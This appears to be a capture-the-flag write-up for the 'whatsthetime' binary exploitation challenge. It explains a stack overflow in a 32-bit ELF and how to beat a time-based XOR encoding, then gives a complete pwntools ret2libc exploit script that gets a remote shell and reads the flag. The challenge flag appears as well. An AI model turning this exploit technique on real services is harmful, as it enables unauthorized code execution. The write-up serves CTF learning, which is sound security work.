Category: Binary Exploitation
Flag: texsaw{7h4nk_u_f0r_y0ur_71m3}
Challenge Description
I think one of the hands of my watch broke. Can you tell me what the time is?
Analysis
The provided file was a 32-bit i386 ELF with NX enabled, no stack canary, no PIE, and partial RELRO, which immediately made a stack overwrite attractive because the return address would stay at a fixed location.
file whatsthetime/home/rei/Downloads/whatsthetime: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=23bd0f9855066bfed7d759c6460b20b9086e51a1, for GNU/Linux 4.4.4, not strippedThe interesting part of the binary was read_user_input. The logged disassembly showed that it allocates a 160-byte heap buffer, reads up to 160 bytes into it, XORs each byte with a rolling key derived from the current time, and then copies the result with memcpy into a 64-byte stack buffer at ebp-0x40. That gave a clean overflow with a saved return address offset of 68 bytes: 64 bytes for the buffer and 4 bytes for saved ebp.
At first glance the obvious target was the win function at 0x080491f6, but the disassembly in the solve log showed the trick: it printed a shell-themed message and then called system("ls"), not system("/bin/sh"). That explained why the initial attempt only listed files instead of yielding a shell. The real answer was to call system@plt directly and pass it the existing "/bin/sh" string at 0x0804a018.
The time-based XOR encoding was the only extra obstacle. The solve used a simple leak: sending 160 null bytes causes the service to echo back bytes that are just the XOR key stream itself, because 0 ^ key = key. The first four leaked bytes were parsed as a little-endian time value, and the payload was then re-encoded with the same rolling transformation the binary used. The logged analysis captured the exact layout as [padding][system@plt][ret_gadget][/bin/sh_addr], using system@plt = 0x080490b0, ret_gadget = 0x08049402, and bin_sh = 0x0804a018.
Once that encoded ret2libc payload was sent to the remote service, the exploit used the resulting shell to run id, then cat flag.txt, which returned the flag.
Solution
#!/usr/bin/env python3
from pwn import *
import time
context.arch = 'i386'
context.log_level = 'info'
HOST = '143.198.163.4'
PORT = 3000
# Addresses
system_plt = 0x080490b0
bin_sh = 0x0804a018 # "/bin/sh" string
ret_gadget = 0x08049402 # cld ; ret
def xor_encode(payload, time_val):
encoded = bytearray()
for i, b in enumerate(payload):
effective_time = time_val + (i // 4)
key_byte = (effective_time >> ((i % 4) * 8)) & 0xff
encoded.append(b ^ key_byte)
return bytes(encoded)
# ret2libc payload
payload = b'A' * 68 # padding to return address
payload += p32(system_plt) # return to system@plt
payload += p32(ret_gadget) # fake return address
payload += p32(bin_sh) # argument: "/bin/sh"
# Connect and extract time value
p = remote(HOST, PORT)
p.recvuntil(b'Currently the time is: ')
p.recvline()
p.send(b'\x00' * 160)
time.sleep(0.3)
xor_data = p.recv(40)
time_val = int.from_bytes(xor_data[:4], 'little')
p.close()
# Reconnect and send exploit
p = remote(HOST, PORT)
p.recvuntil(b'Currently the time is: ')
p.recvline()
p.send(xor_encode(payload, time_val))
# Shell interaction
time.sleep(1)
p.sendline(b'id')
p.sendline(b'cat flag.txt')
p.sendline(b'cat flag')
p.sendline(b'ls -la')
time.sleep(2)
out = p.recvall()
print(out.decode())[*] Time value: 1774655520
[*] Payload sent, waiting for shell...
[*] Output:
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
texsaw{7h4nk_u_f0r_y0ur_71m3}
cat: flag: No such file or directory
total 28
drwxr-xr-x 1 nobody nogroup 4096 Mar 27 17:57 .
drwxr-xr-x 1 nobody nogroup 4096 Mar 27 17:57 ..
-r--r--r-- 1 nobody nogroup 30 Mar 27 08:02 flag.txt
-rwxr-xr-x 1 nobody nogroup 15384 Mar 27 08:02 run
[SUCCESS] FLAG: texsaw{7h4nk_u_f0r_y0ur_71m3}